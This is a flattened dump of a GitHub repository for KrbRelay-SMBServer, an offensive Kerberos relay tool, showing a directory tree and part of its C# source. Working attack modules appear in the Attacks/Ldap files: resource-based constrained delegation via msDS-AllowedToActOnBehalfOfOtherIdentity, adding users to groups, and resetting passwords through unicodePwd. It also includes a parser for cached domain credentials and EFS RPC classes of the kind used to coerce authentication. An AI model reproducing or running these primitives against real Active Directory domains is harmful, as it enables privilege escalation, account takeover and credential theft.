│ │ │ ├── FindInformationHelper.cs │ │ │ │ ├── QueryFSInformationHelper.cs │ │ │ │ ├── QueryInformationHelper.cs │ │ │ │ └── SetInformationHelper.cs │ │ │ └── Structures │ │ │ │ ├── ExtendedFileAttributes │ │ │ │ ├── ExtendedAttributeName.cs │ │ │ │ ├── ExtendedAttributeNameList.cs │ │ │ │ ├── FullExtendedAttribute.cs │ │ │ │ └── FullExtendedAttributeList.cs │ │ │ │ ├── FindInformation │ │ │ │ ├── FindFileBothDirectoryInfo.cs │ │ │ │ ├── FindFileDirectoryInfo.cs │ │ │ │ ├── FindFileFullDirectoryInfo.cs │ │ │ │ ├── FindFileIDBothDirectoryInfo.cs │ │ │ │ ├── FindFileIDFullDirectoryInfo.cs │ │ │ │ ├── FindFileNamesInfo.cs │ │ │ │ ├── FindInformation.cs │ │ │ │ └── FindInformationList.cs │ │ │ │ ├── QueryFSInformation │ │ │ │ ├── QueryFSAttibuteInfo.cs │ │ │ │ ├── QueryFSDeviceInfo.cs │ │ │ │ ├── QueryFSInformation.cs │ │ │ │ ├── QueryFSSizeInfo.cs │ │ │ │ └── QueryFSVolumeInfo.cs │ │ │ │ ├── QueryInformation │ │ │ │ ├── QueryFileAllInfo.cs │ │ │ │ ├── QueryFileAltNameInfo.cs │ │ │ │ ├── QueryFileBasicInfo.cs │ │ │ │ ├── QueryFileCompressionInfo.cs │ │ │ │ ├── QueryFileEaInfo.cs │ │ │ │ ├── QueryFileNameInfo.cs │ │ │ │ ├── QueryFileStandardInfo.cs │ │ │ │ ├── QueryFileStreamInfo.cs │ │ │ │ └── QueryInformation.cs │ │ │ │ └── SetInformation │ │ │ │ ├── SetFileAllocationInfo.cs │ │ │ │ ├── SetFileBasicInfo.cs │ │ │ │ ├── SetFileDispositionInfo.cs │ │ │ │ ├── SetFileEndOfFileInfo.cs │ │ │ │ └── SetInformation.cs │ │ ├── SMB2 │ │ │ ├── Commands │ │ │ │ ├── CancelRequest.cs │ │ │ │ ├── ChangeNotifyRequest.cs │ │ │ │ ├── ChangeNotifyResponse.cs │ │ │ │ ├── CloseRequest.cs │ │ │ │ ├── CloseResponse.cs │ │ │ │ ├── CreateRequest.cs │ │ │ │ ├── CreateResponse.cs │ │ │ │ ├── EchoRequest.cs │ │ │ │ ├── EchoResponse.cs │ │ │ │ ├── ErrorResponse.cs │ │ │ │ ├── FlushRequest.cs │ │ │ │ ├── FlushResponse.cs │ │ │ │ ├── IOCtlRequest.cs │ │ │ │ ├── IOCtlResponse.cs │ │ │ │ ├── LockRequest.cs │ │ │ │ ├── LockResponse.cs │ │ │ │ ├── LogoffRequest.cs │ │ │ │ ├── LogoffResponse.cs │ │ │ │ ├── NegotiateRequest.cs │ │ │ │ ├── NegotiateResponse.cs │ │ │ │ ├── QueryDirectoryRequest.cs │ │ │ │ ├── QueryDirectoryResponse.cs │ │ │ │ ├── QueryInfoRequest.cs │ │ │ │ ├── QueryInfoResponse.cs │ │ │ │ ├── ReadRequest.cs │ │ │ │ ├── ReadResponse.cs │ │ │ │ ├── SMB2Command.cs │ │ │ │ ├── SessionSetupRequest.cs │ │ │ │ ├── SessionSetupResponse.cs │ │ │ │ ├── SetInfoRequest.cs │ │ │ │ ├── SetInfoResponse.cs │ │ │ │ ├── TreeConnectRequest.cs │ │ │ │ ├── TreeConnectResponse.cs │ │ │ │ ├── TreeDisconnectRequest.cs │ │ │ │ ├── TreeDisconnectResponse.cs │ │ │ │ ├── WriteRequest.cs │ │ │ │ └── WriteResponse.cs │ │ │ ├── Enums │ │ │ │ ├── ChangeNotify │ │ │ │ │ └── ChangeNotifyFlags.cs │ │ │ │ ├── Close │ │ │ │ │ └── CloseFlags.cs │ │ │ │ ├── Create │ │ │ │ │ ├── CreateAction.cs │ │ │ │ │ ├── CreateResponseFlags.cs │ │ │ │ │ └── OplockLevel.cs │ │ │ │ ├── IOCtl │ │ │ │ │ └── IOCtlRequestFlags.cs │ │ │ │ ├── InfoType.cs │ │ │ │ ├── Negotiate │ │ │ │ │ ├── Capabilities.cs │ │ │ │ │ ├── NegotiateContextType.cs │ │ │ │ │ ├── SMB2Dialect.cs │ │ │ │ │ └── SecurityMode.cs │ │ │ │ ├── QueryDirectory │ │ │ │ │ └── QueryDirectoryFlags.cs │ │ │ │ ├── Read │ │ │ │ │ └── ReadFlags.cs │ │ │ │ ├── SMB2CommandName.cs │ │ │ │ ├── SMB2PacketHeaderFlags.cs │ │ │ │ ├── SMB2TransformHeaderFlags.cs │ │ │ │ ├── SessionSetup │ │ │ │ │ ├── SessionFlags.cs │ │ │ │ │ └── SessionSetupFlags.cs │ │ │ │ ├── TreeConnect │ │ │ │ │ ├── ShareCapabilities.cs │ │ │ │ │ ├── ShareFlags.cs │ │ │ │ │ └── ShareType.cs │ │ │ │ └── Write │ │ │ │ │ └── WriteFlags.cs │ │ │ ├── SMB2Cryptography.cs │ │ │ ├── SMB2Header.cs │ │ │ ├── SMB2TransformHeader.cs │ │ │ └── Structures │ │ │ │ ├── CreateContext.cs │ │ │ │ ├── Enums │ │ │ │ └── LockFlags.cs │ │ │ │ ├── FileID.cs │ │ │ │ ├── LockElement.cs │ │ │ │ └── NegotiateContext.cs │ │ ├── Server │ │ │ ├── ConnectionManager.cs │ │ │ ├── ConnectionRequestEventArgs.cs │ │ │ ├── ConnectionState │ │ │ │ ├── ConnectionState.cs │ │ │ │ ├── OpenFileObject.cs │ │ │ │ ├── OpenSearch.cs │ │ │ │ ├── ProcessStateObject.cs │ │ │ │ ├── SMB1AsyncContext.cs │ │ │ │ ├── SMB1ConnectionState.cs │ │ │ │ ├── SMB1Session.cs │ │ │ │ ├── SMB2AsyncContext.cs │ │ │ │ ├── SMB2ConnectionState.cs │ │ │ │ ├── SMB2Session.cs │ │ │ │ └── SecurityContext.cs │ │ │ ├── Enums │ │ │ │ └── SMBDialect.cs │ │ │ ├── Helpers │ │ │ │ └── ServerPathUtils.cs │ │ │ ├── Information │ │ │ │ ├── OpenFileInformation.cs │ │ │ │ └── SessionInformation.cs │ │ │ ├── NameServer.cs │ │ │ ├── SMB1 │ │ │ │ ├── CancelHelper.cs │ │ │ │ ├── CloseHelper.cs │ │ │ │ ├── EchoHelper.cs │ │ │ │ ├── FileStoreResponseHelper.cs │ │ │ │ ├── LockingHelper.cs │ │ │ │ ├── NTCreateHelper.cs │ │ │ │ ├── NTTransactHelper.cs │ │ │ │ ├── NegotiateHelper.cs │ │ │ │ ├── NotifyChangeHelper.cs │ │ │ │ ├── OpenAndXHelper.cs │ │ │ │ ├── ReadWriteResponseHelper.cs │ │ │ │ ├── SMB1FileStoreHelper.Query.cs │ │ │ │ ├── SMB1FileStoreHelper.QueryDirectory.cs │ │ │ │ ├── SMB1FileStoreHelper.QueryFileSystem.cs │ │ │ │ ├── SMB1FileStoreHelper.Set.cs │ │ │ │ ├── SMB1FileStoreHelper.cs │ │ │ │ ├── SessionSetupHelper.cs │ │ │ │ ├── Transaction2SubcommandHelper.cs │ │ │ │ ├── TransactionHelper.cs │ │ │ │ ├── TransactionSubcommandHelper.cs │ │ │ │ └── TreeConnectHelper.cs │ │ │ ├── SMB2 │ │ │ │ ├── CancelHelper.cs │ │ │ │ ├── ChangeNotifyHelper.cs │ │ │ │ ├── CloseHelper.cs │ │ │ │ ├── CreateHelper.cs │ │ │ │ ├── EchoHelper.cs │ │ │ │ ├── IOCtlHelper.cs │ │ │ │ ├── LockHelper.cs │ │ │ │ ├── NegotiateHelper.cs │ │ │ │ ├── QueryDirectoryHelper.cs │ │ │ │ ├── QueryInfoHelper.cs │ │ │ │ ├── ReadWriteResponseHelper.cs │ │ │ │ ├── SessionSetupHelper.cs │ │ │ │ ├── SetInfoHelper.cs │ │ │ │ └── TreeConnectHelper.cs │ │ │ ├── SMBServer.SMB1.cs │ │ │ ├── SMBServer.SMB2.cs │ │ │ ├── SMBServer.cs │ │ │ └── Shares │ │ │ │ ├── AccessRequestArgs.cs │ │ │ │ ├── Enums │ │ │ │ └── CachingPolicy.cs │ │ │ │ ├── FileSystemShare.cs │ │ │ │ ├── ISMBShare.cs │ │ │ │ ├── NamedPipeShare.cs │ │ │ │ └── SMBShareCollection.cs │ │ ├── Services │ │ │ ├── Enums │ │ │ │ └── PlatformName.cs │ │ │ ├── Exceptions │ │ │ │ └── UnsupportedOpNumException.cs │ │ │ ├── RPCPipeStream.cs │ │ │ ├── RemoteService.cs │ │ │ ├── RemoteServiceHelper.cs │ │ │ ├── ServerService │ │ │ │ ├── EnumStructures │ │ │ │ │ └── ShareTypeExtended.cs │ │ │ │ ├── Enums │ │ │ │ │ ├── Permissions.cs │ │ │ │ │ ├── ServerServiceOpName.cs │ │ │ │ │ └── ServerType.cs │ │ │ │ ├── NetrServerGetInfoRequest.cs │ │ │ │ ├── NetrServerGetInfoResponse.cs │ │ │ │ ├── NetrShareEnumRequest.cs │ │ │ │ ├── NetrShareEnumResponse.cs │ │ │ │ ├── NetrShareGetInfoRequest.cs │ │ │ │ ├── NetrShareGetInfoResponse.cs │ │ │ │ ├── ServerService.cs │ │ │ │ └── Structures │ │ │ │ │ ├── ServerInfo │ │ │ │ │ ├── ServerInfo.cs │ │ │ │ │ ├── ServerInfo100.cs │ │ │ │ │ ├── ServerInfo101.cs │ │ │ │ │ └── ServerInfoLevel.cs │ │ │ │ │ └── ShareInfo │ │ │ │ │ ├── IShareInfoContainer.cs │ │ │ │ │ ├── IShareInfoEntry.cs │ │ │ │ │ ├── ShareEnum.cs │ │ │ │ │ ├── ShareInfo.cs │ │ │ │ │ ├── ShareInfo0Container.cs │ │ │ │ │ ├── ShareInfo0Entry.cs │ │ │ │ │ ├── ShareInfo1Container.cs │ │ │ │ │ ├── ShareInfo1Entry.cs │ │ │ │ │ ├── ShareInfo2Container.cs │ │ │ │ │ ├── ShareInfo2Entry.cs │ │ │ │ │ └── ShareInfo502Entry.cs │ │ │ └── WorkstationService │ │ │ │ ├── Enums │ │ │ │ └── WorkstationServiceOpName.cs │ │ │ │ ├── NetrWkstaGetInfoRequest.cs │ │ │ │ ├── NetrWkstaGetInfoResponse.cs │ │ │ │ ├── Structures │ │ │ │ ├── WorkstationInfo.cs │ │ │ │ ├── WorkstationInfo100.cs │ │ │ │ ├── WorkstationInfo101.cs │ │ │ │ └── WorkstationInfoLevel.cs │ │ │ │ └── WorkstationService.cs │ │ └── Utilities │ │ │ ├── LogEntry.cs │ │ │ └── SocketUtils.cs │ └── Utilities │ │ ├── ByteUtils │ │ ├── BigEndianReader.cs │ │ ├── BigEndianWriter.cs │ │ ├── ByteReader.cs │ │ ├── ByteUtils.cs │ │ ├── ByteWriter.cs │ │ ├── LittleEndianReader.cs │ │ └── LittleEndianWriter.cs │ │ ├── Comparers │ │ └── ReverseComparer.cs │ │ ├── Conversion │ │ ├── BigEndianConverter.cs │ │ ├── Conversion.SimpleTypes.cs │ │ └── LittleEndianConverter.cs │ │ ├── Cryptography │ │ ├── AesCcm.cs │ │ ├── AesCmac.cs │ │ └── CRC32.cs │ │ ├── Generics │ │ ├── BlockingQueue.cs │ │ ├── KeyValuePairList.Sort.cs │ │ ├── KeyValuePairList.cs │ │ ├── Map.cs │ │ ├── Reference.cs │ │ └── SortedList.cs │ │ ├── Strings │ │ └── QuotedStringUtils.cs │ │ └── Threading │ │ ├── CountdownLatch.cs │ │ └── Parallel.cs ├── Spoofing │ ├── HttpServer.cs │ ├── LLMNR.cs │ ├── UDP.cs │ └── Util.cs └── packages.config ├── README.md └── smb_control.bat /CheckPort/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Images/demo.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/KrbRelay-SMBServer/92cc74c22f35b0983b20939e0235bd893e4a84e2/Images/demo.mp4 -------------------------------------------------------------------------------- /Images/image-20220213094644590.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decoder-it/KrbRelay-SMBServer/92cc74c22f35b0983b20939e0235bd893e4a84e2/Images/image-20220213094644590.png -------------------------------------------------------------------------------- /KrbRelay/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyCredentialVersion.cs: -------------------------------------------------------------------------------- 1 | namespace DSInternals.Common.Data 2 | { 3 | /// 4 | /// Key Credential Link Blob Structure Version 5 | /// 6 | /// https://msdn.microsoft.com/en-us/library/mt220501.aspx 7 | public enum KeyCredentialVersion : uint 8 | { 9 | Version0 = 0, 10 | Version1 = 0x00000100, 11 | Version2 = 0x00000200, 12 | } 13 | } -------------------------------------------------------------------------------- /KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyFlags.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace DSInternals.Common.Data 4 | { 5 | /// 6 | /// Custom Key Flags 7 | /// 8 | /// https://msdn.microsoft.com/en-us/library/mt220496.aspx 9 | [Flags] 10 | public enum KeyFlags : byte 11 | { 12 | /// 13 | /// No flags specified. 14 | /// 15 | None = 0, 16 | 17 | /// 18 | /// Reserved for future use. (CUSTOMKEYINFO_FLAGS_ATTESTATION) 19 | /// 20 | Attestation = 0x01, 21 | 22 | /// 23 | /// During creation of this key, the requesting client authenticated using only a single credential. (CUSTOMKEYINFO_FLAGS_MFA_NOT_USED) 24 | /// 25 | MFANotUsed = 0x02, 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeySource.cs: -------------------------------------------------------------------------------- 1 | namespace DSInternals.Common.Data 2 | { 3 | /// 4 | /// Key Source 5 | /// 6 | /// https://msdn.microsoft.com/en-us/library/mt220501.aspx 7 | public enum KeySource : byte 8 | { 9 | /// 10 | /// On Premises Key Trust 11 | /// 12 | AD = 0x00, 13 | 14 | /// 15 | /// Hybrid Azure AD Key Trust 16 | /// 17 | AzureAD = 0x01 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/KeyStrength.cs: -------------------------------------------------------------------------------- 1 | namespace DSInternals.Common.Data 2 | { 3 | /// 4 | /// Specifies the strength of the NGC key. 5 | /// 6 | /// https://msdn.microsoft.com/en-us/library/mt220496.aspx 7 | public enum KeyStrength : byte 8 | { 9 | /// 10 | /// Key strength is unknown. 11 | /// 12 | Unknown = 0x00, 13 | 14 | /// 15 | /// Key strength is weak. 16 | /// 17 | Weak = 0x01, 18 | 19 | /// 20 | /// Key strength is normal. 21 | /// 22 | Normal = 0x02 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Clients/Attacks/Ldap/DSInternals.Common/Data/Hello/VolumeType.cs: -------------------------------------------------------------------------------- 1 | namespace DSInternals.Common.Data 2 | { 3 | /// 4 | /// Specifies the volume type. 5 | /// 6 | /// https://msdn.microsoft.com/en-us/library/mt220496.aspx 7 | public enum VolumeType : byte 8 | { 9 | /// 10 | /// Volume not specified. 11 | /// 12 | None = 0x00, 13 | 14 | /// 15 | /// Operating system volume (OSV). 16 | /// 17 | OperatingSystem = 0x01, 18 | 19 | /// 20 | /// Fixed data volume (FDV). 21 | /// 22 | Fixed = 0x02, 23 | 24 | /// 25 | /// Removable data volume (RDV). 26 | /// 27 | Removable = 0x03 28 | } 29 | } -------------------------------------------------------------------------------- /KrbRelay/Clients/Attacks/Ldap/RBCD.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Security.AccessControl; 3 | using static KrbRelay.Natives; 4 | 5 | namespace KrbRelay.Clients.Attacks.Ldap 6 | { 7 | internal class RBCD 8 | { 9 | public static LdapStatus attack(IntPtr ld, string sid, string computername = null) 10 | { 11 | if (!sid.StartsWith("S-1-5-")) 12 | { 13 | sid = Generic.getPropertyValue(ld, sid, "objectSid"); 14 | } 15 | string dn = Generic.getMachineDN(ld, computername); 16 | var dacl = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid + ")"; 17 | RawSecurityDescriptor sd = new RawSecurityDescriptor(dacl); 18 | byte[] value = new byte[sd.BinaryLength]; 19 | sd.GetBinaryForm(value, 0); 20 | return Generic.setAttribute(ld, "msDS-AllowedToActOnBehalfOfOtherIdentity", value, dn); 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Clients/Attacks/Ldap/addGroupMember.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using static KrbRelay.Natives; 4 | 5 | namespace KrbRelay.Clients.Attacks.Ldap 6 | { 7 | internal class addGroupMember 8 | { 9 | public static LdapStatus attack(IntPtr ld, string group, string user) 10 | { 11 | string groupDn = Generic.getPropertyValue(ld, group, "distinguishedName"); 12 | string userDn = Generic.getPropertyValue(ld, user, "distinguishedName"); 13 | return Generic.addAttribute(ld, "member", Encoding.ASCII.GetBytes(userDn), groupDn); 14 | } 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Clients/Attacks/Ldap/setPassword.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using static KrbRelay.Natives; 4 | 5 | namespace KrbRelay.Clients.Attacks.Ldap 6 | { 7 | internal class setPassword 8 | { 9 | public static LdapStatus attack(IntPtr ld, string user, string password) 10 | { 11 | //https://docs.microsoft.com/en-us/troubleshoot/windows/win32/change-windows-active-directory-user-password 12 | string dn = Generic.getPropertyValue(ld, user, "distinguishedName"); 13 | return Generic.setAttribute(ld, "unicodePwd", Encoding.Unicode.GetBytes('"'+password+'"'), dn); 14 | } 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Clients/Attacks/Smb/HiveParser/NL_Record.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | 4 | namespace KrbRelay.HiveParser 5 | { 6 | internal class NL_Record 7 | { 8 | public NL_Record(byte[] inputData) 9 | { 10 | userLength = BitConverter.ToInt16(inputData.Take(2).ToArray(), 0); 11 | domainNameLength = BitConverter.ToInt16(inputData.Skip(2).Take(2).ToArray(), 0); 12 | dnsDomainLength = BitConverter.ToInt16(inputData.Skip(60).Take(2).ToArray(), 0); 13 | IV = inputData.Skip(64).Take(16).ToArray(); 14 | encryptedData = inputData.Skip(96).Take(inputData.Length - 96).ToArray(); 15 | } 16 | 17 | public int userLength { get; set; } 18 | public int domainNameLength { get; set; } 19 | public int dnsDomainLength { get; set; } 20 | public byte[] IV { get; set; } 21 | public byte[] encryptedData { get; set; } 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Clients/Rpc.cs: -------------------------------------------------------------------------------- 1 | namespace KrbRelay.Clients 2 | { 3 | internal class Rpc 4 | { 5 | //https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/main/NtApiDotNet/Win32/Rpc/Transport 6 | } 7 | } -------------------------------------------------------------------------------- /KrbRelay/Com/ComUtils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Runtime.InteropServices.ComTypes; 4 | 5 | namespace KrbRelay.Com 6 | { 7 | internal static class ComUtils 8 | { 9 | [DllImport("ole32.dll")] 10 | private static extern int CreateObjrefMoniker( 11 | IntPtr punk, 12 | out IMoniker ppmk); 13 | 14 | [DllImport("ole32.dll")] 15 | private static extern int CreateBindCtx( 16 | int reserved, 17 | out IBindCtx ppbc 18 | ); 19 | 20 | public static byte[] GetMarshalledObject(object o) 21 | { 22 | IMoniker mk; 23 | 24 | CreateObjrefMoniker(Marshal.GetIUnknownForObject(o), out mk); 25 | 26 | IBindCtx bc; 27 | 28 | CreateBindCtx(0, out bc); 29 | 30 | string name; 31 | 32 | mk.GetDisplayName(bc, null, out name); 33 | 34 | return Convert.FromBase64String(name.Substring(7).TrimEnd(':')); 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /KrbRelay/IStorage/IEnumSTATSTG.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace KrbRelay 5 | { 6 | [ComImport] 7 | [Guid("0000000d-0000-0000-C000-000000000046")] 8 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 9 | public interface IEnumSTATSTG 10 | { 11 | // The user needs to allocate an STATSTG array whose size is celt. 12 | [PreserveSig] 13 | uint 14 | Next(uint celt, [MarshalAs(UnmanagedType.LPArray), Out] STATSTG[] rgelt, out uint pceltFetched); 15 | 16 | void Skip(uint celt); 17 | 18 | void Reset(); 19 | 20 | [return: MarshalAs(UnmanagedType.Interface)] 21 | IEnumSTATSTG Clone(); 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/IStorage/ILockBytes.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace KrbRelay 5 | { 6 | [ComVisible(false)] 7 | [ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("0000000A-0000-0000-C000-000000000046")] 8 | public interface ILockBytes 9 | { 10 | //Note: These two by(reference 32-bit integers (ULONG) could be used as return values instead, 11 | // but they are not tagged [retval] in the IDL, so for consitency's sake... 12 | void ReadAt(long ulOffset, System.IntPtr pv, int cb, out System.UInt32 pcbRead); 13 | 14 | void WriteAt(long ulOffset, System.IntPtr pv, int cb, out System.UInt32 pcbWritten); 15 | 16 | void Flush(); 17 | 18 | void SetSize(long cb); 19 | 20 | void LockRegion(long libOffset, long cb, int dwLockType); 21 | 22 | void UnlockRegion(long libOffset, long cb, int dwLockType); 23 | 24 | void Stat(out System.Runtime.InteropServices.STATSTG pstatstg, int grfStatFlag); 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/IStorage/IMarshal.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace KrbRelay 5 | { 6 | [Guid("00000003-0000-0000-C000-000000000046")] 7 | [InterfaceType(1)] 8 | [ComConversionLoss] 9 | [ComImport] 10 | public interface IMarshal 11 | { 12 | void GetUnmarshalClass([In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS, out Guid pCid); 13 | 14 | void GetMarshalSizeMax([In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS, out uint pSize); 15 | 16 | void MarshalInterface([MarshalAs(28)][In] IStream pstm, [In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS); 17 | 18 | void UnmarshalInterface([MarshalAs(28)][In] IStream pstm, [In] ref Guid riid, out IntPtr ppv); 19 | 20 | void ReleaseMarshalData([MarshalAs(28)][In] IStream pstm); 21 | 22 | void DisconnectObject([In] uint dwReserved); 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/IStorage/IStream.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace KrbRelay 5 | { 6 | [ComImport, Guid("0000000c-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 7 | public interface IStream 8 | { 9 | void Read([Out, MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] byte[] pv, uint cb, out uint pcbRead); 10 | 11 | void Write([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] byte[] pv, uint cb, out uint pcbWritten); 12 | 13 | void Seek(long dlibMove, uint dwOrigin, out long plibNewPosition); 14 | 15 | void SetSize(long libNewSize); 16 | 17 | void CopyTo(IStream pstm, long cb, out long pcbRead, out long pcbWritten); 18 | 19 | void Commit(uint grfCommitFlags); 20 | 21 | void Revert(); 22 | 23 | void LockRegion(long libOffset, long cb, uint dwLockType); 24 | 25 | void UnlockRegion(long libOffset, long cb, uint dwLockType); 26 | 27 | void Stat(out STATSTG pstatstg, uint grfStatFlag); 28 | 29 | void Clone(out IStream ppstm); 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/KrbRelay.crproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Client/Helpers/IRPCRequest.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Client.Helpers 2 | { 3 | public interface IRPCRequest 4 | { 5 | byte[] GetBytes(); 6 | } 7 | 8 | //public class IRPCRequest 9 | //{ 10 | // public byte[] GetBytes() 11 | // { 12 | // NDRWriter writer = new NDRWriter(); 13 | // return writer.GetBytes(); 14 | // } 15 | //} 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/EFSService/EfsRpcCloseRawRequest.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.Client.Helpers; 9 | using SMBLibrary.RPC; 10 | using SMBLibrary.Services; 11 | 12 | /// 13 | /// EfsRpcCloseRaw Request (opnum 3) 14 | /// 15 | public class EfsRpcCloseRawRequest : IRPCRequest 16 | { 17 | public EXImportContextHandle handle; 18 | 19 | public byte[] GetBytes() 20 | { 21 | NDRWriter writer = new NDRWriter(); 22 | writer.WriteStructure(handle); 23 | return writer.GetBytes(); 24 | } 25 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/EFSService/EfsRpcCloseRawResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | using SMBLibrary.Services; 10 | 11 | /// 12 | /// EfsRpcCloseRaw Response (opnum 3) 13 | /// 14 | public class EfsRpcCloseRawResponse 15 | { 16 | public EXImportContextHandle Handle; 17 | 18 | public EfsRpcCloseRawResponse(byte[] buffer) 19 | { 20 | NDRParser parser = new NDRParser(buffer); 21 | Handle = new EXImportContextHandle(); 22 | parser.ReadStructure(Handle); 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/EFSService/EfsRpcOpenFileRawRequest.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.Client.Helpers; 9 | using SMBLibrary.RPC; 10 | 11 | /// 12 | /// EfsRpcOpenFileRaw Request (opnum 0) 13 | /// 14 | public class EfsRpcOpenFileRawRequest : IRPCRequest 15 | { 16 | public string FileName; 17 | public int Flags; 18 | 19 | public EfsRpcOpenFileRawRequest() 20 | { 21 | } 22 | 23 | public byte[] GetBytes() 24 | { 25 | NDRWriter writer = new NDRWriter(); 26 | writer.WriteUnicodeString(FileName); 27 | writer.WriteUInt32((uint)Flags); 28 | 29 | return writer.GetBytes(); 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/EFSService/EfsRpcOpenFileRawResponse.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | using SMBLibrary.Services; 10 | 11 | /// 12 | /// EfsRpcOpenFileRaw Response (opnum 0) 13 | /// 14 | public class EfsRpcOpenFileRawResponse 15 | { 16 | public EXImportContextHandle ContextHandle; 17 | public uint Return; 18 | 19 | public EfsRpcOpenFileRawResponse(byte[] buffer) 20 | { 21 | NDRParser parser = new NDRParser(buffer); 22 | ContextHandle = new EXImportContextHandle(); 23 | parser.ReadStructure(ContextHandle); 24 | Return = parser.ReadUInt32(); 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/EFSService/Enums/EFSServiceOpName.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.Services 9 | { 10 | public enum EFSServiceOpName : ushort 11 | { 12 | EfsRpcOpenFileRaw = 0, 13 | EfsRpcCloseRaw = 3, 14 | } 15 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/LsaRemoteService/Enums/LsaRemoteServiceOpName.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2021 Vincent LE TOUX . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace SMBLibrary.Services 9 | { 10 | public enum LsaRemoteServiceOpName : ushort 11 | { 12 | LsarClose = 0, 13 | LsarOpenPolicy = 6, 14 | LsarLookupNames = 14, 15 | LsarLookupSids = 15, 16 | AddAccountRights = 37 17 | } 18 | } -------------------------------------------------------------------------------- 